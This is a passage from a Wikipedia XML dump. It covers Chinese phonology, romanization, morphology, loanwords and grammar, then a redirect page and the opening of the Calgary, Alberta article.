==Phonology==
{{IPA notice}}
:''For more specific information on phonology of Chinese see the respective main articles of each [[Chinese spoken language|spoken variety]].'' &lt;!--I think this is about as specific we can get without making a looong and dull list of links--&gt;

The [[phonology|phonological]] structure of each syllable consists of a [[syllable nucleus|nucleus]] consisting of a [[vowel]] (which can be a [[monophthong]], [[diphthong]], or even a [[triphthong]] in certain varieties) with an optional [[syllable onset|onset]] or [[syllable coda|coda]] [[consonant]] as well as a [[tone (linguistics)|tone]].  There are some instances where a vowel is not used as a nucleus.  An example of this is in [[Cantonese (linguistics)|Cantonese]], where the [[nasal consonant|nasal]] [[sonorant]] consonants {{IPA|/m/}} and {{IPA|/&amp;#331;/}} can stand alone as their own syllable.

Across all the spoken varieties, most syllables tend to be open syllables, meaning they have no coda, but syllables that do have codas are restricted to [[bilabial nasal|{{IPA|/m/}}]], [[alveolar nasal|{{IPA|/n/}}]], [[velar nasal|{{IPA|/ŋ/}}]], [[voiceless bilabial plosive|{{IPA|/p/}}]], [[voiceless alveolar plosive|{{IPA|/t/}}]], [[voiceless velar plosive|{{IPA|/k/}}]], or [[glottal stop|{{IPA|/ʔ/}}]].  Some varieties allow most of these codas, whereas others, such as [[Mandarin (linguistics)|Mandarin]], are limited to only two, namely {{IPA|/n/}} and {{IPA|/&amp;#331;/}}.  [[Consonant cluster]]s do not generally occur in either the onset or coda.  The onset may be an [[affricate consonant|affricate]] or a consonant followed by a [[semivowel]], but these are not generally considered consonant clusters.

The number of sounds in the different spoken dialects varies, but in general there has been a tendency to a reduction in sounds from [[Middle Chinese]]. The Mandarin dialects in particular have experienced a dramatic decrease in sounds and so have far more multisyllabic words than most other spoken varieties. The total number of syllables in some varieties is therefore only about a thousand, including tonal variation.

All varieties of spoken Chinese use [[tone (linguistics)|tones]]. A few dialects of north China may have as few as three tones, while some dialects in south China have up to 6 or 10 tones, depending on how one counts. One exception from this is [[Shanghainese]] which has reduced the set of tones to a two-toned [[pitch accent]] system much like modern Japanese.

A very common example used to illustrate the use of tones in Chinese are the five tones of [[Standard Mandarin]] applied to the syllable &quot;ma&quot;. The tones correspond to these five [[Chinese character|characters]]:
{{Ruby notice}}
*{{Ruby|媽/妈|mā}} &quot;mother&quot; — '''high level'''
*{{Ruby|麻|má}} &quot;hemp&quot; — '''high rising'''
*{{Ruby|馬/马|mǎ}} &quot;horse&quot; — '''low falling-rising'''
*{{Ruby|罵/骂|mà}} &quot;scold&quot; — '''high falling'''
*{{Ruby|嗎/吗|ma}} question particle — '''neutral'''

{{Listen|filename=zh-pinyin_tones_with_ma.ogg|title=Listen to the tones|description=This is a recording of the four main tones.  Fifth, or neutral, tone is not included.}}.

==Romanization==
[[Romanization]] is the process of transcribing a language in the Latin alphabet. There are many systems of romanization for the Chinese languages; this is due to the complex history of interaction between China and the West, and to the Chinese languages' lack of phonetic transcription until modern times. Chinese is first known to have been written in Latin characters by Western [[Christianity in China|Christian missionaries]] of the [[16th century]], but may have been written down by Western travelers or missionaries of earlier periods. 

At present, the most common romanization system for Standard Mandarin is [[Hanyu Pinyin]], also known simply as Pinyin. Pinyin is the official Mandarin romanization system for the People's Republic of China, and the official one used in [[Singapore]] (see also [[Chinese language romanisation in Singapore]]). Pinyin is also very commonly used when teaching Mandarin in schools and universities of North America and Europe. 

Perhaps the second-most common system of romanization for Mandarin is [[Wade-Giles]]. This system was probably the most common system of romanization for Mandarin before Hanyu Pinyin was developed. Wade-Giles is often found in academic use in the U.S., and until recently was widely used in Taiwan (Taipei city now officially uses Hanyu Pinyin and the rest of the island officially uses Tōngyòng Pinyin).

Here are a few examples of Hanyu Pinyin and Wade-Giles, for comparison:

&lt;!-- Please feel free to add Yale, Postal or whatever other examples you know, but I don't know those systems. [[User:Jiawen|Jiawen]] 07:27, 3 Jun 2005 (UTC) --&gt;

{|class=&quot;wikitable&quot;
|+'''Mandarin Romanization Comparison'''
|- 
! style=&quot;background:#efefef;&quot; | Characters !! style=&quot;background:#efefef;&quot; | Wade-Giles !! style=&quot;background:#efefef;&quot; | Hanyu Pinyin !! style=&quot;background:#efefef;&quot; | Notes
|- 
| 中國|| Chung&lt;sup&gt;1&lt;/sup&gt;-kuo²|| Zhōngguó || &quot;China&quot;
|- 
| 北京  || Pei³-ching&lt;sup&gt;1&lt;/sup&gt; || Běijīng || Capital of the People's Republic of China
|- 
| 台北 || T'ai²-pei³ || Táiběi || Capital of the Republic of China
|- 
| 毛澤東 || Mao² Tse²-tung&lt;sup&gt;1&lt;/sup&gt; || Máo Zédōng || Former Communist Chinese leader
|- 
| 蔣介石 || Chiang³ Chieh&lt;sup&gt;4&lt;/sup&gt;-shih² || Jiǎng Jièshí || Former Nationalist Chinese leader
|- 
| 孔子 || K'ung³ Tsu³ || Kǒng Zǐ || &quot;Confucius&quot;
|}

Regardless of system, tone transcription is often left out, either due to difficulties of typesetting or propriety for audience. Wade-Giles' extensive use of easily-forgotten apostrophes adds to the confusion. Thus, most Western readers will be much more familiar with Beijing than they will be with Běijīng, and with Taipei than with T'ai²-pei³.  

Regardless of romanization, the words are pronounced the same. Learning a system of romanization requires occasional deviations from the learner's own language, so, for example, Hanyu Pinyin uses &quot;q&quot; for very different values than an English speaker would probably be used to; the sound represented is similar to the English &quot;ch&quot;, but pronounced further forward (an aspirated alveolo-palatal fricative, /tɕʰ/). This is a cause of confusion but is unavoidable, as Mandarin (and any language transcribed) will have phonemes different from those of the learner's own.  On the other hand, this can be beneficial, since learners can immediately be made aware of the fact that they  will have to learn a new pronunciation.  With languages that use similar [[orthography]], the temptation to pronounce words just as in one's mother tongue can lead to great misunderstanding.

There are many other systems of romanization for Mandarin, as well as systems for Cantonese, Minnan, Hakka, and other Chinese languages.

==Other Transcriptions==
Chinese languages have been phonetically transcribed into many other writing systems over the centuries. The [[phagsba]] script, for example, has been very helpful in reconstructing the pronunciation of pre-modern forms of Chinese.

[[Zhuyin]] is still widely used in Taiwan's elementary schools.  A comparison table of [[Zhuyin]] to [[Pinyin]] exists in the [[Zhuyin]] page.  Syllables based on [[Pinyin]] and [[Zhuyin]] can also be compared by looking at the following pages:
*[[Pinyin table]]
*[[Zhuyin table]]

There are also at least two systems of [[cyrillization]] for Chinese. The most widespread is the [[Cyrillization of Chinese from Pinyin|Palladius system]].

==Morphology==
Chinese [[morphology (linguistics)|morphology]] is strictly bound to a set number of [[syllable]]s with a fairly rigid construction which are the [[morpheme]]s, the smallest building blocks, of the language.  Some of these single-syllable morphemes can stand alone as individual [[word (linguistics)|word]]s, but contrary to what is often claimed, Chinese is not a monosyllabic language.  Most words in the modern Chinese spoken varieties are in fact multisyllabic, consisting of more than one morpheme, usually two, but there can be three or more.

The confusion arises in how one thinks about the language.  In the Chinese writing system, each individual single-syllable morpheme corresponds to a single character, referred to as a ''zì'' (字).  Most Chinese speakers think of words as being ''zì'', but this view is not entirely accurate.  Many words are multisyllabic, and are composed of more than one ''zì''.  This composition is what is known as a ''cí'' (詞), and more closely resembles the traditional Western definition of a word.  However, the concept of ''cí'' was historically a technical linguistic term that until only the past century, the average Chinese speaker was not aware of.  Even today, most Chinese speakers think of words as being ''zì''.  This can be illustrated in the following Mandarin Chinese sentence ([[romanization|romanized]] using [[pinyin]]):
:''Jīguāng, zhè liǎngge zì shì shénme yìsi?''
:激光, 這兩個字是甚麼意思?
:激光, 这两个字是什么意思?

The sentence literally translates to, &quot;''Jī'' 激 and ''guāng'' 光, these two ''zì'' 字, what do they mean?&quot;  However, the more natural English translation would probably be, &quot;''Laser'', this word, what does it mean?&quot;  Even though ''jīguāng'' 激光 is a single word, speakers tend to think of its constituents as being separate (Ramsey, 1987).

Old Chinese and Middle Chinese had many more monosyllabic words due to greater variability in possible sounds.  The modern Chinese varieties lost many of these sound distinctions, leading to [[homonym]]s in words that were once distinct.  Multisyllabic words arose in order to compensate for this loss.  Most natively derived multisyllabic words still feature these original monosyllabic morpheme roots.  Many Chinese morphemes still have associated meaning, even though many of them no longer can stand alone as individual words.  This situation is analogous to the use of the English [[prefix]] ''pre-''.  Even though ''pre-'' can never stand alone by itself as an individual word, it is commonly understood by English speakers to mean &quot;before,&quot; such as in the words ''predawn'', ''previous'', and ''premonition''.

Taking the previous example, ''jīguāng'', ''jī'' and ''guāng'' literally mean &quot;stimulated light,&quot; resulting in the meaning, &quot;laser.&quot;  However, ''jī'' is never found as a single word by itself, because there are too many other morphemes that are also pronounced in the same way. For instance, the morphemes that correspond to the meanings &quot;chicken&quot; 雞/鸡, &quot;machine&quot; 機/机, &quot;basic&quot; 基, &quot;hit&quot; 擊/击, &quot;hunger&quot; 饑/饥, and &quot;sum&quot; 積/积 are also pronounced ''jī'' in Mandarin.  It is only in the context of other morphemes that an exact meaning of a ''zì'' can be known.  In certain ways, the [[logographic]] writing system helps to reinforce meaning in ''zì'' that are homophonous, since even though several morphemes may be pronounced the same way, they are written using different characters.  Continuing with the example, we have:
{| class=&quot;wikitable&quot; align=center
|-
!Pinyin
!Traditional Characters
!Simplified Characters
!Meaning
|-
|align=center|''&lt;font color=red&gt;jī&lt;/font&gt;guāng''
|align=center style=&quot;font-size:larger&quot;|&lt;font color=red&gt;激&lt;/font&gt;光
|align=center style=&quot;font-size:larger&quot;|&lt;font color=red&gt;激&lt;/font&gt;光
|laser (&quot;&lt;font color=red&gt;stimulated&lt;/font&gt; light&quot;)
|-
|align=center|''&lt;font color=red&gt;jī&lt;/font&gt;qǐ''
|align=center style=&quot;font-size:larger&quot;|&lt;font color=red&gt;激&lt;/font&gt;起
|align=center style=&quot;font-size:larger&quot;|&lt;font color=red&gt;激&lt;/font&gt;起
|to arouse (&quot;&lt;font color=red&gt;stimulated&lt;/font&gt; rise&quot;)
|-
|align=center|''&lt;font color=green&gt;jī&lt;/font&gt;dàn''
|align=center style=&quot;font-size:larger&quot;|&lt;font color=green&gt;雞&lt;/font&gt;蛋
|align=center style=&quot;font-size:larger&quot;|&lt;font color=green&gt;鸡&lt;/font&gt;蛋
|&lt;font color=green&gt;chicken&lt;/font&gt; egg
|-
|align=center|''gōng&lt;font color=green&gt;jī&lt;/font&gt;''
|align=center style=&quot;font-size:larger&quot;|公&lt;font color=green&gt;雞&lt;/font&gt;
|align=center style=&quot;font-size:larger&quot;|公&lt;font color=green&gt;鸡&lt;/font&gt;
|rooster (&quot;male &lt;font color=green&gt;chicken&lt;/font&gt;&quot;)
|-
|align=center|''fēi&lt;font color=blue&gt;jī&lt;/font&gt;''
|align=center style=&quot;font-size:larger&quot;|飛&lt;font color=blue&gt;機&lt;/font&gt;
|align=center style=&quot;font-size:larger&quot;|飞&lt;font color=blue&gt;机&lt;/font&gt;
|aeroplane (&quot;flying &lt;font color=blue&gt;machine&lt;/font&gt;&quot;)
|-
|align=center|''&lt;font color=blue&gt;jī&lt;/font&gt;qiāng''
|align=center style=&quot;font-size:larger&quot;|&lt;font color=blue&gt;機&lt;/font&gt;槍
|align=center style=&quot;font-size:larger&quot;|&lt;font color=blue&gt;机&lt;/font&gt;枪
|&lt;font color=blue&gt;machine&lt;/font&gt; gun
|}

For this reason, it is very common for Mandarin speakers to put characters in context as a natural part of conversation. For example, when telling each other their names (which are often rare, or at least non-colloquial, combinations of zì), Mandarin speakers often state which words their names are found in. As a specific example, a speakers might say 名字叫嘉英，嘉陵江的嘉，英國的英 Míngzi jiào Jiāyīng, Jiālíngjiāng de jiā, Yīngguó de yīng &quot;My name is Jiāyīng, the ''Jia'' of ''Jialing River'' and the ''Ying'' in ''England''.&quot;  

The problem of homonyms also exists but is less severe in southern Chinese varieties like Cantonese and Taiwanese, which preserved more of the [[syllable rime|rimes]] of Middle Chinese.  For instance, the previous examples of ''jī'' for &quot;stimulated,&quot; &quot;chicken,&quot; and &quot;machine&quot; have distinct pronunciations in Cantonese (romanized using [[jyutping]]): ''gik1'', ''gai1'', and ''gei1'', respectively.  For this reason, southern varieties tend to employ fewer multisyllabic words.

There are a few morphemes in Chinese, many of them loanwords, that consist of more than one syllable. These words cannot be further divided into single-syllable meaningful units, however in writing each syllable is still written as separate ''zì''.  One example is the word for &quot;spider,&quot; ''zhīzhū'', which is written as 蜘蛛.  Even in this case, Chinese tend to try to make some kind of meaning out of the constituent syllables.  For this reason, the two characters 蜘 and 蛛 each have an associated meaning of &quot;spider&quot; when seen alone as individual characters.  When spoken though, they can never occur apart.

===Loanwords===
Most Chinese words are formed out of native Chinese morphemes, including words describing imported objects and ideas. However, direct phonetic borrowing of foreign words has gone on since ancient times. Words borrowed from along the [[Silk Road]] in ancient times include 葡萄 &quot;grape&quot;, 石榴 &quot;pomegranate&quot; and 獅子 &quot;lion&quot;. Some words were borrowed from [[Buddhism|Buddhist]] scriptures, including 佛 &quot;Buddha&quot; and 菩薩 &quot;bodhisattva&quot;. Other words came from nomadic peoples to the north, such as 哥哥 &quot;older brother&quot; and 胡同 &quot;[[hutong]]&quot;.

Foreign words continue to enter the Chinese language by transcription according to their pronunciations. This is done by employing Chinese characters with similar pronunciations; characters in this case are usually taken strictly for their phonetic values. For example, &quot;Israel&quot; becomes 以色列 (pinyin: yǐsèliè). The Chinese characters used here literally mean &quot;using-colour-rank&quot;, or &quot;ranking using colour&quot;, but the sense is automatically ignored because it is understood that the characters are used for their phonetic values only. Characters which are used nearly exclusively in the transcription of foreign words are present in Chinese; many of these characters date back to Middle Chinese when they were used to translate [[Sanskrit]] [[phoneme]]s. For example, 斯 ''sī'' and 爾 ''ěr'', which are [[Classical Chinese]] words for &quot;this&quot; and &quot;you&quot;, are never used in their original senses (except in a limited number of idiomatic expressions) and more often used to transcribe the sounds /s/ and /l/ in foreign words. Nevertheless, this method tends to yield somewhat strange results, and is therefore overwhelmingly used to transcribe foreign names only. A rather small number of direct phonetic borrowings have survived as common words, including 沙發 ''shāfā'' &quot;sofa&quot;, 馬達 ''mǎdá'' &quot;motor&quot;, 幽默 ''yōumò'' &quot;humour&quot;, 邏輯 ''luójí'' &quot;logic&quot;, 時髦 ''shímáo'' &quot;smart, fashionable&quot;, 麥克風 ''màikèfēng'' &quot;microphone&quot;, and 歇斯底里 ''xiēsīdǐlǐ'' &quot;hysterics&quot;.  The bulk of these words were originally coined in the [[Shanghainese]] dialect during the early 20th century and were later loaned into Mandarin, hence their pronunciations in Mandarin are quite off from the English. For example, 沙發 and 馬達 in Shanghainese actually sound like English &quot;sofa&quot; and &quot;motor&quot;. 

Today, it is much more common to use existing Chinese morphemes to coin new words in order to represent imported concepts, such as technical expressions. Any [[Latin]] or [[Greek language|Greek]] etymologies are dropped, making them more comprehensible for Chinese but introducing more difficulties in understanding foreign texts. For example, the word ''telephone'' was loaned phonetically as 德律風 ([[Shanghainese]]: ''télífon'' [{{IPA|təlɪfoŋ}}], [[Standard Mandarin]]: ''délǜfēng'') during the [[1920s]] and widely used in Shanghai, but later the Japanese 電話 (''diànhuà'' &quot;electric speech&quot;), built out of native Chinese morphemes, became prevalent. Other examples include 電視 (''diànshì'' &quot;electric vision&quot;) for television, 電腦 (''diànnǎo'' &quot;electric brain&quot;) for computer; 手機 (''shǒujī'' &quot;hand machine&quot;) for cellphone, and 藍牙 (''lányá'' &quot;blue tooth&quot;) for [[Bluetooth]]. Occasionally half-transliteration, half-translation compromises are accepted, such as 漢堡包 (''hànbǎo bāo'', &quot;''Hamburg'' bun&quot;) for ''hamburger''. Sometimes translations are designed so that they sound like the original while incorporating Chinese morphemes, such as 拖拉機 (''tuōlājī'', &quot;tractor&quot;). This is often done for commercial purposes, for example 奔騰 (''bēnténg'' &quot;running leaping&quot;) for [[Pentium]] and 賽百味 (''sàibǎiwèi'' &quot;better-than hundred tastes&quot;) for [[Subway (restaurant)|Subway restaurants]].

Another important source came from a related writing system, [[kanji]], which are Chinese characters used in the [[Japanese language]]. The Japanese used kanji to translate many European words in the late [[19th century]] and early [[20th century]]. These words are called ''[[wasei-kango]]'' in Japanese (和製漢語 literally ''Japanese-made Chinese''), and many of these Japanese words were then loaned into Mandarin Chinese. Examples include ''diànhuà'' (電話, denwa &quot;telephone&quot;), ''shèhùi'' (社会, Shakai &quot;society&quot;), ''kēxué'' (科學, kagaku, &quot;science&quot;), ''zhéxué'' (哲學, tetsugaku &quot;philosophy&quot;), ''chōuxiàng'' (抽象, Choushou, &quot;abstract&quot;), ''zhǔyì'' (主義, shugi, &quot;-ism&quot; or &quot;ideology&quot;) and ''làngmàn'' (浪漫、romansu、&quot;romance&quot;). Other terms were coined by the Japanese by giving new senses to existing Chinese terms or by referring to expressions used in classical Chinese literature, these include ''jīngjì'' (經濟, keizai) which in the original Chinese meant &quot;the workings of the state&quot; but in Japanese was narrowed to &quot;economy,&quot; this narrowed definition was then reimported into Chinese. As a result, these terms are virtually indistinguishable from native Chinese words: indeed, there is dispute over some of these terms as to whether the Japanese or Chinese coined them first. As a result of this to-and-fro process, Chinese, Korean, Japanese, and Vietnamese continue to share many terms describing modern terminology, in parallel to a similar corpus of terms built from Greco-Latin terms shared among European languages.

==Grammar==
{{main|Chinese grammar}}

In general, all spoken varieties of Chinese are [[isolating language]]s, in that they depend on [[syntax]] (word order and sentence structure) rather than [[morphology (linguistics)|morphology]] (changes in the form of the word through [[inflection]]). Because they are isolating languages, they make heavy use of [[grammatical particle]]s to indicate [[grammatical aspect|aspect]] and [[grammatical mood|mood]].

Chinese features [[Subject Verb Object]] [[word order]], and like many other languages in East Asia, makes frequent use of the [[topic-comment]] construction to form sentences. Even though Chinese has no [[grammatical gender]], it has an extensive system of [[measure word]]s, another trait shared with neighbouring (but not related) languages like [[Japanese language|Japanese]] and [[Korean language|Korean]]. See '''[[Chinese measure words]]''' for an extensive coverage of this subject.

Other notable grammatical features common to all the spoken varieties of Chinese include the use of [[serial verb construction]], [[pro-drop language|pronoun dropping]] (and the related [[null subject language|subject dropping]]), and the use of aspect rather than [[grammatical tense|tense]].

Although the grammars of the spoken varieties share many traits, they do possess various differences.  See '''[[Chinese grammar]]''' for the grammar of [[Standard Mandarin]] (the standardized Chinese spoken language), and the articles on other varieties of Chinese for their respective grammars.

==See also==
*[[Chinese numerals]]
*[[Chinese number gestures]]
*[[Haner language]]
*[[Four-character idiom]]
*[[Common phrases in different languages]]
*[[Chinese measure word|Chinese measure words]]
*[[Nü shu]]
*[[Han unification]]
*[[HSK test]]
*[[Subgroups of the Han nationality]]
*[[Chinese character encoding]]
*[[List of writing systems]]
*[[Numbers in various languages]]
*[[Chinese honorifics]]
*[[Chinese language facts and fantasy]]
*[[Pinyin]]
*[[Zhuyin]]

==References==
* {{cite book | authorlink = John DeFrancis | last = DeFrancis | first = John | title = The Chinese Language: Fact and Fantasy | publisher = University of Hawaii Press | year = 1984 | id = ISBN 0-8248-1068-6 }}
* {{cite book | author = Hannas, William C. | title = Asia's Orthographic Dilemma | publisher = University of Hawaii Press | year = 1997 | id = ISBN 0-8248-1892-X }}
* {{cite book | author = Norman, Jerry | title = Chinese | publisher = Cambridge University Press | year = 1988 | id = ISBN 0-521-29653-6 }}
* {{cite book | author = Ramsey, S. Robert | title = The Languages of China | publisher = Princeton University Press | year = 1987 | id = ISBN 0-691-01468-X }}

==External links==
{{InterWiki|code=zh}}
{{book}}

=== Dictionaries ===
*[http://www.dict.cn Free Online Chinese - English Dictionary] 1,000,000 English and Chinese words
*[http://www.zhongwen.com Zhongwen.com:] Chinese to English dictionary and other resources presented in English; searchable by English meanings; Chinese text displayed as graphics (i.e. does not require any Chinese font)
*[http://www.chinesedic.com ChineseDic] 30,000 English, French and Chinese words
*[http://www.mdbg.net/chindict/chindict.php?page=chardict MDBG free online Chinese-English dictionary]
*[http://www.chineselanguage.org/CCDICT/index.html Chinese Characters Dictionary]: supports Japanese, Korean, Cantonese, Hakka etc.
*[http://www.websters-online-dictionary.org/definition/Chinese-english/ Chinese - English Dictionary]: from [http://www.websters-online-dictionary.org Webster's Online Dictionary] - the Rosetta Edition
*[http://www.chinese-tools.com/tools/chinese-french-dictionary.html Chinese - French Dictionary] search Chinese, pinyin or French, 30 000 words
*[http://www.mandarintools.com/cedict.html CEDICT] Chinese-English Dictionary Project
*[http://english-to-chinese.online-dictionary.biz/ Chinese dictionary] Free Chinese-English-Chinese dictionary
*[http://stardict.sourceforge.net Stardict] free (GPL) multilanguage dictionary including simplified/traditional Chinese for Unix (Linux, FreeBSD, etc.) and win32
*[http://cdict.giga.net.tw English-Chinese Translation Dictionary]: Chinese-English-Chinese Online Dictionary (Taiwan-based; simplified characters not recognised)
*[http://www.cantonese.sheik.co.uk/scripts/wordsearch.php CantoDict]: Cantonese-English Dictionary Project
*[http://www.chinese-tools.com/tools/dictionary.html chinese english interactive dictionary] search chinese, pinyin or english
*[http://www.chinese-tools.com/tools/chinese-spanish-dictionary.html Chinese - Spanish Dictionary] search in Chinese, pinyin or Spanish

=== Resources for students of Chinese ===
*[http://china.sytes.net/forums Chinese Language Forums:]Discussion of Chinese language and culture with subject experts/native speakers, with a focus on Chinese pedagogy on how to teach Chinese to inherited Chinese learners overseas.
*[http://www.chinese-forums.com Chinese Forums:]Discussion of Chinese language and culture with some very knowledgable participants, mostly intermediate or advanced learners of Chinese but also many native speakers / overseas Chinese. 
*[http://www.chinese-tools.com/learn/chinese Learn chinese online], 20 free online mandarin chinese lessons, online dictionaries and tools.
*[http://www.chinasona.com/bamboo/chinese.html Chinese Language Information Page] A collection of Chinese language learning resources.
*[http://www.oneaday.org Oneaday.org] One Chinese idiom a day (simplified and traditional characters) with pinyin transliteration and English translation.
*[http://www.shufawest.us/language/tonedrill.html Mandarin Tone Drill] Testing your knowledge of Mandarin tones.
*[http://www.mandarin123.com/pronunciation.html Mandarin Tone Quizzes] Useful practices on Mandarin tones. 
*[http://www.pinyinpractice.com/tones.htm Pinyin Practice] Pinyin practice for Mandarin learners in all levels 
*[http://deall.ohio-state.edu/chan.9/c-links.htm Marjorie Chan's ChinaLinks]: A large collection of Web resources by a professor of linguistics at Ohio State University
*[http://www.rikai.com/perl/HomePage.pl?Language=Zh Rikai.com] A web-mediator that adds mouseover pinyin readings and English meanings to Chinese web-pages.
*[http://www.dreamsyssoft.com/chinese-tutor-software/ A Free Chinese Flash Card Utility] A free flash card utility for memorizing chinese characters.
*[http://zdt.sourceforge.net/ zdt (Zhongwen Development Tool)] Open source chinese flashcard application. Very easy to make flashcards. Also includes annotation and dictionary features.

=== Resources on Chinese in general ===
*[http://www.zanhei.com/ Shanghainese (a Wu Chinese dialect)]: a project to introduce and promote the Shanghai dialect.  In the works.
*[http://www.unet.univie.ac.at/~a9305416/ Chinese Linguistics]: Sites on Chinese linguistics
*[http://sinolect.org Sinolect: An introduction and observation to Wu Chinese]
*[http://www.wu-chinese.org/ Wu-Chinese.org (&amp;#27743;&amp;#21335;&amp;#38597;&amp;#38899;&amp;#35805;&amp;#21556;&amp;#35821;)]: Introduction, statistical data, vocal records, dialectmaps and literature datum of Wu Chinese
*[http://www.SatelliteTv-Shanghai.com/ Satellite Tv Programmes in Shanghai(卫星电视节目):] You can find dozens of Satellite Tv Programmes in Shanghai
*[http://ezmandarin.com/  Easy Mandarin:] An online community with many learning aids for download.
*[http://www.ethnologue.com/show_family.asp?subid=1270: Listing of Chinese dialects in Ethnologue]
*[http://chinese-school.netfirms.com/Chinese-Mandarin-Easy.html Chinese Mandarin is Easy] Article by Mike Wright
*[http://www.loecsen.com/travel/discover_pop.php?lang=en&amp;to_lang=18&amp;learn-Chinese/ Learn and listen to useful expressions in Chinese] Each expression is presented with an audio recording and an illustration
*[http://www.chinese-tools.com Chinese Tools] Tools for the chinese language, annotation, converters, dictionaries, on-line courses, etc.
*[http://www.sinoling.com Sinoling.com] A variety of Mandarin Chinese language resources.
*[http://www.experiencesabroad.com/beijing.html Beijing Readymades] Photos, translations &amp; pin yin for Chinese posters, signs, etc. from Beijing. Excellent resource for students of Chinese and those interested in the meanings behind the characters.

=== Computer tools for Chinese ===
*[http://www.scim-im.org/ SCIM input method platform] — Free (GPL) tool for Chinese input via computer. SCIM supports almost all existing Chinese input methods, as well as other languages.
*[http://www.chinese-tools.com/tools/ime.html Chinese input editor] — Allows you to write Chinese on your computer without installing any software
*[http://chinese-school.netfirms.com/Chinese-characters.html How to type Chinese on your computer] a comprehensive article on Chinese inputing methods.
*[http://www.dengsoft.com/ Software for Chinese Learning and Research] — Provides software for Chinese studies like Chinese Article Evaluation, on-line Yuan Opera Information Sytem, and reviews open-source software for Chinese learning.
*[http://www.monkeykingsoft.com/ MonkeyKing Learn Chinese Software] — Free download software to help with learning Chinese. Features including Pinyin, dynamic stroke order demo, English-Chinese dictionary, simplified and Traditional Chinese conversion, and IME (Input Method Editor) to input Chinese text with Pinyin or stroke.

{{Chinese language}}

[[Category:Chinese language|*]]
[[Category:Sinology]]
[[Category:Tonal languages]]

[[ar:صينية]]
[[cs:Čínština]]
[[cy:Tsieinëeg]]
[[da:kinesisk]]
[[de:Chinesische Sprache]]
[[eo:Ĉina lingvo]]
[[es:Idioma chino]]
[[fa:زبان چینی]]
[[fr:Langue chinoise]]
[[he:סינית]]
[[hu:Kínai nyelv]]
[[id:Bahasa Tionghoa]]
[[it:Lingua cinese]]
[[ja:中国語]]
[[ka:ჩინური ენა]]
[[ko:중국어]]
[[kw:Cheynek]]
[[la:Lingua Sinensis]]
[[li:Sjinees]]
[[lt:Kinų kalba]]
[[mk:Кинески јазик]]
[[ms:Bahasa Cina]]
[[nl:Chinese talen]]
[[nn:Kinesisk språk]]
[[no:Kinesisk språk]]
[[pl:Język chiński]]
[[pt:Língua chinesa]]
[[ro:Limba chineză]]
[[ru:Китайский язык]]
[[simple:Chinese language]]
[[sr:Кинески језик]]
[[sv:Kinesiska]]
[[th:ภาษาจีน]]
[[tr:Çince]]
[[vi:Tiếng Trung Quốc]]
[[zh:中文]]
[[zh-min-nan:Hàn-gí]]</text>
    </revision>
  </page>
  <page>
    <title>Coitus</title>
    <id>5753</id>
    <revision>
      <id>15903950</id>
      <timestamp>2005-03-03T03:49:53Z</timestamp>
      <contributor>
        <username>Meelar</username>
        <id>31618</id>
      </contributor>
      <comment>change to redir</comment>
      <text xml:space="preserve">#REDIRECT [[sexual intercourse]]</text>
    </revision>
  </page>
  <page>
    <title>Calgary, Alberta</title>
    <id>5755</id>
    <revision>
      <id>42148216</id>
      <timestamp>2006-03-04T03:25:22Z</timestamp>
      <contributor>
        <username>93JC</username>
        <id>327617</id>
      </contributor>
      <comment>/* Transportation */</comment>
      <text xml:space="preserve">:'''''Calgary''' redirects here. This page refers to the city of Calgary in [[Alberta]], [[Canada]].  For other places with the name Calgary, see [[Calgary (disambiguation)]]''
{{Canadian City|
  Reference Name=City of {{PAGENAME}}|
  Header Format=Custom Flag and Coat of Arms|
  Flag Image=Flag of Calgary, Alberta.svg|
  Coat Image=Calgary_Crest.jpg|135px|
  Location Image Type=Custom|
  Location Image=Altacgy.PNG|
  Motto=Onward|
  Latitude Longitude=|
  CCMapSource=coor br|d1=51|m1=6|d2=114|m2=01|EP=|
  Elevation=1048|
  Time zone=MST|
  Postal Code=|
  Population description=&amp;nbsp;- Total (2005) &lt;br&gt;
&amp;nbsp;- Metropolitan (2005) &lt;br&gt;
&amp;nbsp;- Cdn. Mun. Rank: &lt;br&gt;
&amp;nbsp;- Cdn. [[Census Metropolitan Area|CMA]] Rank:|
  Population=956,078&lt;br&gt;
1,060,300&lt;br&gt;
[[List of the 100 largest cities in Canada|Ranked 3rd]]&lt;br&gt; 
[[List of the 100 largest metropolitan areas in Canada|Ranked 5th]]|
  Population Density=1252.3|
  Area=789.9|
  City Mayor=[[Dave Bronconnier]]|
  Governing Body=[[Calgary City Council]]
&lt;tr&gt;&lt;td align = center colspan = 2&gt;[[Canadian Senate|Senators]] &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align = center colspan = 2&gt;[[Daniel Hays]], [[Elaine McCoy]]
&lt;/tr&gt;&lt;/td&gt;|
  MPs=[[Diane Ablonczy]], [[Rob Anders]], [[Art Hanger]], [[Stephen Harper]], [[Jason Kenney]], [[Deepak Obhrai]], [[Jim Prentice]], [[Lee Richardson]]|
  MLAs=[[Cindy Ady]], [[Moe Amery]], [[Neil Brown]], [[Wayne Cao]], [[Harvey Cenaiko]], [[Harry B. Chase]], [[Alana DeLong]], [[Heather Forsyth]], [[Yvonne Fritz]], [[Denis Herard]], [[Art Johnston]], [[Ralph Klein]], [[Ron Liepert]], [[Richard Magnus]], [[Gary Mar]], [[Greg Melchin]], [[Hung Pham]], [[Dave Rodney]], [[Shiraz Shariff]], [[Ron Stevens]], [[David Swann]], [[Dave Taylor (politician)|Dave Taylor]], [[Len Webber]]|
  website=[http://www.calgary.ca City of Calgary]|
  Census Year=2001|
  Extra references=|
}}

'''Calgary''' is a [[city]] in the [[province]] of [[Alberta]], [[Canada]]. It is situated in the south of the province, in a region of foothills and high plains, approximately 80 km east of the front ranges of the [[Canadian Rockies]]. As of [[2005]], the estimated metropolitan population ([[Census Metropolitan Area|CMA]]) was 1,060,300 (see [[Calgary Region]]). Calgary is the largest city in Alberta and the third largest city (proper), [[List of the 100 largest cities in Canada|by population]], in Canada. It serves as the hub of the fifth largest [[Census Metropolitan Area]] in the country. It is located within the relatively densely populated &quot;[[Calgary-Edmonton Corridor]]&quot;[http://geodepot.statcan.ca/Diss/Highlights/Page9/Page9d_e.cfm]. It is the largest Canadian metropolitan area west of [[Toronto]] and east of [[Vancouver]]. A resident of Calgary is known as a Calgarian.

